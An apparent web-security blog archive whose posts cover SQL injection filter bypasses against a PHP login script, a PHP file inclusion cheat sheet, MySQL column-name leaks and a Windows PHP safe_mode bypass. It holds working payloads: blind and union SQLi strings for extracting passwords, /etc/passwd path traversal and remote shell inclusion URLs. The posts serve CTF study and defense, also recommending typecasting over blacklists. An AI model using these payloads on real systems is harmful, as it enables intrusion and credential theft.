Exploiting hard filtered SQL Injections

March 19, 2010

While participating at some CTF challenges like Codegate10 or OWASPEU10 recently I noticed that it is extremely trendy to build SQL injection challenges with very tough filters which can be circumvented based on the flexible MySQL syntax. In this post I will show some example filters and how to exploit them which may also be interesting when exploiting real life SQL injections which seem unexploitable at first glance.

For the following examples I’ll use this basic vulnerable PHP script:

// DB connection

$id = $_GET['id'];
$pass = mysql_real_escape_string($_GET['pass']);

$result = mysql_query("SELECT id,name,pass FROM users WHERE id = $id AND pass = '$pass' ");

if($data = @mysql_fetch_array($result))
	echo "Welcome ${data['name']}";

Note: the webapplication displays only the name of the first row of the sql resultset.


Lets warm up. As you can see the parameter “id” is vulnerable to SQL Injection. The first thing you might want to do is to confirm the existence of a SQLi vulnerability:

?id=1 and 1=0-- -
?id=1 and 1=1-- -

You also might want to see all usernames by iterating through limit (x):

?id=1 or 1=1 LIMIT x,1-- -

But usernames are mostly not as interesting as passwords and we assume that there is nothing interesting in each internal user area.

So you would like to know what the table and column names are and you try the following:

?id=1 and 1=0 union select null,table_name,null from information_schema.tables limit 28,1-- -
?id=1 and 1=0 union select null,column_name,null from information_schema.columns where table_name='foundtablename' LIMIT 0,1-- -

After you have found interesting tables and its column names you can start to extract data.

?id=1 and 1=0 union select null,password,null from users limit 1,1-- -

Ok thats enough for warming up.

Whitespaces, quotes and slashes filtered

Of course things aren’t that easy most time. Now consider the following filter for some extra characters:

if(preg_match('/\s/', $id)) 
	exit('attack'); // no whitespaces
if(preg_match('/[\'"]/', $id)) 
	exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id)) 
	exit('attack'); // no slashes

As you can see above our injections have a lot of spaces and some quotes. The first idea would be to replace the spaces by /*comments*/ but slashes are filtered. Alternative whitespaces are all catched by the whitespace filter. But luckily because of the flexible MySQL syntax we can avoid all whitespaces by using parenthesis to seperate SQL keywords (old but not seen very often).

?id=(1)and(1)=(0)union(select(null),table_name,(null)from(information_schema.tables)limit 28,1-- -)

Looks good, but still has some spaces at the end. So we also use group_concat() because LIMIT requires a space and therefore can’t be used anymore. Since all table names in one string can be very long, we can use substr() or mid() to limit the size of the returning string. As SQL comment we simply take “#” (not urlencoded for better readability).


Instead of a quoted string we can use the SQL hex representation of the found table name:



Basic keywords filtered

Now consider the filter additionally checks for the keywords “and”, “null”, “where” and “limit”:

if(preg_match('/\s/', $id)) 
	exit('attack'); // no whitespaces
if(preg_match('/[\'"]/', $id)) 
	exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id)) 
	exit('attack'); // no slashes
if(preg_match('/(and|null|where|limit)/i', $id)) 
	exit('attack'); // no sqli keywords

For some keywords this is still not a big problem. Something most of you would do from the beginning anyway is to confirm the SQLi with the following injections leading to the same result:


To negotiate the previous resultset you can also use a non-existent id like 0. Instead of the place holder “null” we can select anything else of course because it is only a place holder for the correct column amount. So without the WHERE we have:


This should give us all table and column names. But the output string from group_concat() gets very long for all available table and column names (including the columns of the mysql system tables) and the length returned by group_concat() is limited to 1024 by default. While the length may fit for all table names (total system table names length is about 900), it definitely does not fit for all available column names because all system column names concatenated already take more than 6000 chars.

WHERE alternative

The first idea would be to use ORDER BY column_name DESC to get the user tables first but that doesn’t work because ORDER BY needs a space. Another keyword we have left is HAVING.
First we have a look which databases are available:


This will definitely fit into 1024 chars, but you can also use database() to get the current database name:


Lets assume your database name is “test” which hex representation is “0x74657374″. Then we can use HAVING to get all table names associated with the database “test” without using WHERE:


Note that you have to select the column “table_schema” in one of the place holders to use this column in HAVING. Since we assume that the webapp is designed to return only the first row of the result set, this will give us the first table name. The second table name can be retrieved by simply excluding the first found table name from the result:


We use && as alternative for the filtered keyword AND (no urlencoding for better readability). Keep excluding table names until you have them all. Then you can go on with exactly the same technique to get all column names:


Unfortunately you can’t use group_concat() while using HAVING hence the excluding step by step.

intermediate result

What do we need for our injections so far?
keywords: “union”, “select”, “from”,”having”
characters: (),._# (& or “and”)
String comparing characters like “=” and “!=” can be avoided by using the keywords “like” and “rlike” or the function strcmp() together with the keyword “not”:


advanced keyword filtering

Now its getting difficult. The filter also checks for all keywords previously needed:

if(preg_match('/\s/', $id)) 
	exit('attack'); // no whitespaces
if(preg_match('/[\'"]/', $id)) 
	exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id)) 
	exit('attack'); // no slashes
if(preg_match('/(and|or|null|where|limit)/i', $id)) 
	exit('attack'); // no sqli keywords
if(preg_match('/(union|select|from|having)/i', $id)) 
	exit('attack'); // no sqli keywords

What option do we have left?

If we have the FILE privilege we can use load_file() (btw you can’t use into outfile without quotes and spaces). But we can’t output the result of load_file() because we can not use union select so we need another way to read the string returned by the load_file().
First we want to check if the file can be read. load_file() returns “null” if the file could not be read, but since the keyword “null” is filtered we cant compare to “null” or use functions like isnull(). A simple solution is to use coalesce() which returns the first not-null value in the list:


This will return the length of the file content or – if the file could not be read – a “1” and therefore the success can be seen by the userdata selected in the original query. Now we can use the CASE operator to read the file content blindly char by char:


(while $char is the character in sql hex which is compared to the current character of the file at offset $x)

We bypassed the filter but it requires the FILE privilege.

filtering everything

Ok now we expand the filter again and it will check for file operations too (or just assume you don’t have the FILE privilege). We also filter SQL comments. So lets assume the following (rearranged) filter:

if(preg_match('/\s/', $id)) 
	exit('attack'); // no whitespaces
if(preg_match('/[\'"]/', $id)) 
	exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id)) 
	exit('attack'); // no slashes
if(preg_match('/(and|or|null|not)/i', $id)) 
	exit('attack'); // no sqli boolean keywords
if(preg_match('/(union|select|from|where)/i', $id)) 
	exit('attack'); // no sqli select keywords
if(preg_match('/(group|order|having|limit)/i', $id)) 
	exit('attack'); //  no sqli select keywords
if(preg_match('/(into|file|case)/i', $id)) 
	exit('attack'); // no sqli operators
if(preg_match('/(--|#|\/\*)/', $id)) 
	exit('attack'); // no sqli comments

The SQL injection is still there but it may look unexploitable. Take a breath and have a look at the filter. Do we have anything left?

We cant use procedure analyse() because it needs a space and we cant use the ‘1’%’0′ trick. Basically we only have special characters left, but that is often all we need.

We need to keep in mind that we are already in a SELECT statement and we can add some conditions to the existing WHERE clause. The only problem with that is that we can only access columns that are already selected and that we do have to know their names. In our login example they shouldn’t be hard to guess though. Often they are named the same as the parameter names (as in our example) and in most cases the password column is one of {password, passwd, pass, pw, userpass}.
So how do we access them blindly? A usual blind SQLi would look like the following:

?id=(case when(mid(pass,1,1)='a') then 1 else 0 end)

This will return 1 to the id if the first char of the password is ‘a’. Otherwise it will return a 0 to the WHERE clause. This works without another SELECT because we dont need to access a different table. Now the trick is to express this filtered CASE operation with only boolean operators. While AND and OR is filtered, we can use the characters && and || to check, if the first character of the pass is ‘a':


We use a nullbyte instead of a filtered comment to ignore the check for the right password in the original sql query. Make sure you prepend a semicolon. Nice, we can now iterate through the password chars and extract them one by one by comparing them to its hex representation. If it matches, it will show the username for id=1 and if not the whole WHERE becomes untrue and nothing is displayed. Also we can iterate to every password of each user by simply iterating through all ids:


Of course this takes some time and mostly you are only interested in one specific password, for example of the user “admin” but you dont know his id. Basically we want something like:

?id=(SELECT id FROM users WHERE name = 'admin') && mid(pass,1,1)=('a');%00

The first attempt could be:


That does not work because the “OR 1=1″ at the beginning is stronger than the “AND”s so that we will always see the name of the first entry in the table (it gets more clearly wenn you write the “OR 1=1″ at the end of the injection). So what we do is we compare the column id to the column id itself to make our check for the name and password independent of all id’s:


If the character of the password is guessed correctly we will see “Hello admin” – otherwise there is displayed nothing. With this we have successfully bypassed the tough filter.

filtering everything and even more

What else can we filter to make it more challenging? Sure, some characters like “=”, “|” and “&”.

if(preg_match('/\s/', $id)) 
	exit('attack'); // no whitespaces
if(preg_match('/[\'"]/', $id)) 
	exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id)) 
	exit('attack'); // no slashes
if(preg_match('/(and|or|null|not)/i', $id)) 
	exit('attack'); // no sqli boolean keywords
if(preg_match('/(union|select|from|where)/i', $id)) 
	exit('attack'); // no sqli select keywords
if(preg_match('/(group|order|having|limit)/i', $id)) 
	exit('attack'); //  no sqli select keywords
if(preg_match('/(into|file|case)/i', $id)) 
	exit('attack'); // no sqli operators
if(preg_match('/(--|#|\/\*)/', $id)) 
	exit('attack'); // no sqli comments
if(preg_match('/(=|&|\|)/', $id)) 
	exit('attack'); // no boolean operators

Lets see. The character “=” shouldn’t be problematic as already mentioned above, we simply use “like” or “regexp” etc.:


The character “|” isn’t even needed. But what about the “&”? Can we check for the name=’admin’ and for the password characters without using logical operators?

After exploring all sorts of functions and comparison operators I finally found the simple function if(). It basically works like the CASE structure but is a lot shorter and ideal for SQL obfuscation / filter evasion. The first attempt is to jump to the id which correspondents to the name = ‘admin':


This will return 1, if the username is admin and 0 otherwise. Now that we actually want to work with the admin’s id we return his id instead of 1:


Now the tricky part is to not use AND or && but to also check for the password chars. So what we do is we nest the if clauses. Here is the commented injection:

  // if (it gets true if the name='admin')
  // then (if first password char='a' return admin id, else 0)
  // else (return 0)

Injection in one line:


Again you will see “Hello admin” if the password character was guessed correctly and otherwise you’ll see nothing (id=0). Sweet!


(My)SQL isn’t as flexible as Javascript, thats for sure. The main difference is that you can’t obfuscate keywords because there is nothing like eval() (as long as you don’t inject into stored procedures). But as shown in this article there isn’t much more needed than some characters (mainly parenthesis and commas) to not only get a working injection but also to extract data or read files. Various techniques also have shown that detecting and blocking SQL injections based on keywords is not reliable and that exploiting those is just a matter of time.

If you have any other clever ways for bypassing the filters described above please leave a comment. What about additionally filtering “if” too ?

Because there has been some confusion: you should NOT use the last filter for securing your webapp. This post shows why it is bad to rely on a blacklist. To secure your webapp properly, typecast expected integer values and escape expected strings with mysql_real_escape_string(), but don’t forget to embed the result in quotes in your SQL query.

Here is a safe patch for the example:

$id = (int) $_GET['id'];
$pass = mysql_real_escape_string($_GET['pass']);
$result = mysql_query("SELECT id,name,pass FROM users WHERE id = $id AND pass = '$pass' ");

For more details have a look at the comments.

Part2, Part 3, SQLi filter evasion cheatsheet

Exploiting PHP File Inclusion – Overview

February 22, 2010

Recently I see a lot of questions regarding PHP File Inclusions and the possibilities you have. So I decided to give a small overview. All the tricks have been described in detail somewhere earlier, but I like it to have them summed up at one place.

Basic Local File Inclusion:

<?php include("inc/" . $_GET['file']); ?>
  • Including files in the same directory:
  • Path Traversal:
    (this file is very interesting because it lets you search the filesystem, other files)
  • Including injected PHP code:

    Limited Local File Inclusion:

    <?php include("inc/" . $_GET['file'] . ".htm"); ?>
    • Null Byte Injection:
      (requires magic_quotes_gpc=off)
    • Directory Listing with Null Byte Injection:
      (UFS filesystem only, requires magic_quotes_gpc=off, more details here)
    • Path Truncation:
      ?file=../../../../../../../../../etc/passwd.\.\.\.\.\.\.\.\.\.\.\ …
      (more details see here and here)
    • Dot Truncation:
      ?file=../../../../../../../../../etc/passwd……………. …
      (Windows only, more details here)
    • Reverse Path Truncation:
      ?file=../../../../ [...] ../../../../../etc/passwd
      (more details here)

    Basic Remote File Inclusion

    <?php include($_GET['file']); ?>
    • Including Remote Code:
      (requires allow_url_fopen=On and allow_url_include=On)
    • Using PHP stream php://input:
      (specify your payload in the POST parameters, watch urlencoding, details here, requires allow_url_include=On)
    • Using PHP stream php://filter:
      (lets you read PHP source because it wont get evaluated in base64. More details here and here)

    • Using data URIs:
      (requires allow_url_include=On)
    • Using XSS:
      (makes sense if firewalled or only whitelisted domains allowed)

    Limited Remote File Inclusion

    <?php include($_GET['file'] . ".htm"); ?>
    • ?file=http://websec.wordpress.com/shell
    • ?file=http://websec.wordpress.com/shell.txt?
    • ?file=http://websec.wordpress.com/shell.txt%23
    • (requires allow_url_fopen=On and allow_url_include=On)

    • ?file=\\evilshare\shell.php
    • (bypasses allow_url_fopen=Off)

    Static Remote File Inclusion:

    <?php include(""); ?>
    • Man In The Middle
      (lame indeed, but often forgotten)

    Filter evasion

    • Access files with wildcards (read more here)

    Of course you can combine all the tricks. If you are aware of any other or interesting files to include please leave a comment and I’ll add them.

FreeBSD directory listing with PHP file functions

November 28, 2009

Last week I shared a weird behavior of FreeBSD on sla.ckers.org about a directory listing with PHP file functions and Apache.

The following 3 PHP codes will output a garbled directory listing of the current directory:

echo file_get_contents("./");

While those file functions should only return content of a valid file, its possible to get a directory listing under FreeBSD. So exploiting a vulnerable script like the following becomes far more easy for an attacker, because he does not have to know the names of the files he can retrieve.



$file = $_GET['file'];
echo file_get_contents("/var/www/files/".$file);


#dirlist to see folders and files

#file disclosure of the found file “index.php”

The directory listing only works for files in the webroot.

This behavior has been tested with the following configurations while PHP is running as root:
FreeBSD 6.4 + PHP 4.4.9 (thanks to beched)
FreeBSD 7.0 + PHP 5.2.5 + Suhosin-Patch
FreeBSD 7.0 + PHP 5.2.6 + Suhosin-Patch
FreeBSD 7.2 + PHP 5.2.10

I guess it has something to do with the weird BSD file system, but I dont know yet. At least this does not work on any other platforms like ubuntu or windows (I havent checked OpenBSD yet). If someone knows more about this strange dirlist please leave a comment =)

As assumed this behavior relates to the unix file system (UFS) and should also work for NetBSD, OpenBSD and Solaris. Scipio wrote a script that will format the dirlist a bit more readable.

MySQL table and column names (update 2)

November 26, 2009

Yesterday Paic posted a new comment about another idea for retrieving column names under MySQL. He found a clever way to get column names through MySQL error messages based on a trick I posted on my first article about MySQL table and column names. Here I used the modular operation ‘1’%’0′ in an injection after a WHERE clause, to provoke a MySQL error containing the column name used in the WHERE clause. But for now I couldnt expand this to other columns not used in the WHERE clause. Paic found a cool way with “row subqueries”. He explains the scenario pretty well, so I will just quote his comment:

I’ve recently found an interesting way of retrieving more column’s name when information_schema table is not accessible. It assume you’ve already found some table’s name.
It is using the 1%0 trick and MySQL subqueries.

I was playing around with sql subqueries when I’ve found something very interesting: “Row Subqueries”

You’d better read this in order to understand what’s next:


The hint is “The row constructor and the row returned by the subquery must contain the same number of values.”

Ok, imagine you have the table USER_TABLE. You don’t have any other informations than the table’s name.
The sql query is expecting only one row as result.

Here is our input:

MySQL answer:
“Operand should contain 7 column(s)”

MySQL told us that the table USER_TABLE has 7 columns! That’s great!

Now we can use the UNION and 1%0 to retrieve some column’s name:

The following query shouldn’t give you any error:
‘ AND (1,2,3,4,5,6,7) = (SELECT * FROM USER_TABLE UNION SELECT 1,2,3,4,5,6,7 LIMIT 1)– -

Now let’s try with the first colum, simply add %0 to the first column in the UNION:
‘ AND (1,2,3,4,5,6,7) = (SELECT * FROM USER_TABLE UNION SELECT 1%0,2,3,4,5,6,7 LIMIT 1)– -

MySQL answer:
“Column ‘usr_u_id’ cannot be null”

We’ve got the first column name: “usr_u_id”

Then we proceed with the other columns…

Example with the 4th column:
‘ AND (1,2,3,4,5,6,7) = (SELECT * FROM USER_TABLE UNION SELECT 1,2,3,4%0,5,6,7 LIMIT 1)– -

if MySQL doesn’t reply with an error message, this is just because the column can be empty and you won’t be able to get it’s name!

So remember: this does only work if the column types have the parameter “NOT NULL” and if you know the table name. Additionally, this behavior has been fixed in MySQL 5.1.
Obviously it was a bug because the error message should only appear if you try to insert “nothing” in a column marked with “NOT NULL” instead of selecting. Btw other mathematical operations like “1/0″ or just “null” does not work, at least I couldn’t find any other. For ‘1’%’0′ you can also use mod(‘1′,’0′).

Anyway, another possibility you have when you cant access information_schema or procedure analyse(). Nice :)

you can find some more information here.


MySQL table and column names (update)

January 26, 2009

While reading at sla.ckers.org about some ways to get a SQL injection working if your injection point is behind a “group by” and a “limit” clause, Pragmatk came up with the PROCEDURE ANALYSE operation (available on MySQL 3/4/5) I didnt knew of yet. Although it didnt quite solve the actual problem, because it seems that you cant build some dynamic parameters for the ANALYSE function so that you could build blind SQLi vectors, it does give you information about the used database, table and column names of the query you are injecting to.
So this is another way of finding table and column names on MySQL without using the information_schema tables or load_file(). Unfortunetly you will only get the names of the columns and tables in use, but at least it will make guessing easier or maybe some columns are selected but not displayed by the webapp so that you can union select them on a different position where they do get displayed.

Here is an example: Lets assume a basic SQL query you will encounter quite often:

SELECT id, name, pass FROM users WHERE id = x

while x is our injection point. Now you can use


to get all column names, including the database and table name currently selected. You will see something like this:


Depending on the webapp you will need to use LIMIT to enumerate the result of PROCEDURE ANALYSE() line by line which contains the names in the first column of each row:

x = 1 PROCEDURE ANALYSE() #get first column name
x = 1 LIMIT 1,1 PROCEDURE ANALYSE() #get second column name
x = 1 LIMIT 2,1 PROCEDURE ANALYSE() #get third column name

With that said it is neccessary that the webapp will display the first selected column, because PROCEDURE ANALYSE will reformat the whole result with its information about the columns which is normally used to identify the best datatype for this column.
Interesting operation, I wonder if there are any other I dont know of yet which can be useful in the right circumstances.


Book recommendation

December 10, 2008

I know its hard to find the right gifts for christmas, so here is my recommendation. This book by Mario Heiderich, Christian Matthies, fukami and myself covers everything you ever wanted to know about securing webapplications.


The book is in german and guides you through writing secure webapplications (including flash) giving plenty examples for common problems, how to solve them and how to maintain your webapp. You will also learn everything about encoding and other basics, as well as the german law situation regarding webappsec. In the second part of the book we describe all common vulnerabilites in detail, including XSS, CSRF, SQLi, RCE, LFI and much more.
I can honestly recommend this book for beginners as well as for advanced developers and I’m sure even experts will learn some new tricks. It’s available in the next few days and should not be missing on your wish list ! ;)

PHP safe_mode bypass

October 14, 2008

About 3 month ago I came across a bug while playing with PHP commands on command line. I was investigating a php execution vulnerability in one of the Cipher4 CTF services where an attacker could execute PHP commands remotely. To quickly fix the issue and not break the service I was going to turn the safe_mode=on for this particular call. For my testings I used the following options:

-n No php.ini file will be used
-d foo[=bar] Define INI entry foo with value ‘bar’
-r Run PHP without using script tags <?..?>

A local test on my windows box with PHP 4.4.1:

C:\Dokumente und Einstellungen\Reiners>php -n -d safe_mode=on -r “exec(‘calc’);”
The command “/calc” is either misspelled or could not be found.

Now the slash infront of the command was really confusing. It looks like all the safe_mode is doing to prevent the command being executed is to add a slash infront of the command. After playing a bit more I found out that this can be circumvented by adding a backslash infront of your command.

C:\Dokumente und Einstellungen\Reiners1>php -n -d safe_mode=on -r “exec(‘\calc’);”

Voila, the calculator pops up and we have successfully bypassed the safe_mode. This works with the latest Version of PHP 4 and PHP 5 and of course in webapplications too.

<?php exec('\calc'); ?>

Note, that for some reasons you will not get the error message at the latest versions, but the code is executed anyhow. Furthermore, this only works with the functions exec(), system() and passthru() and only on Windows! I havent stepped through all the PHP source, but it seems to me that this bug has something to do with the path seperator on windows and the call of escapeshellcmd() and can not be used on unix enviroments.
I have reported this issue 3 month ago by several emails and decided to post it at the bugsystem over here 1 month ago after I got no response. Until today, there was no response at the bugsystem too so I’m putting it on my tiny blog. Lets see what happens ;)

As it is well known anyway: don’t trust the PHP safe_mode.

Finally after about 1 year they patched this bug. Thanks to Stefan Esser!


Get every new post delivered to your Inbox.

Join 78 other followers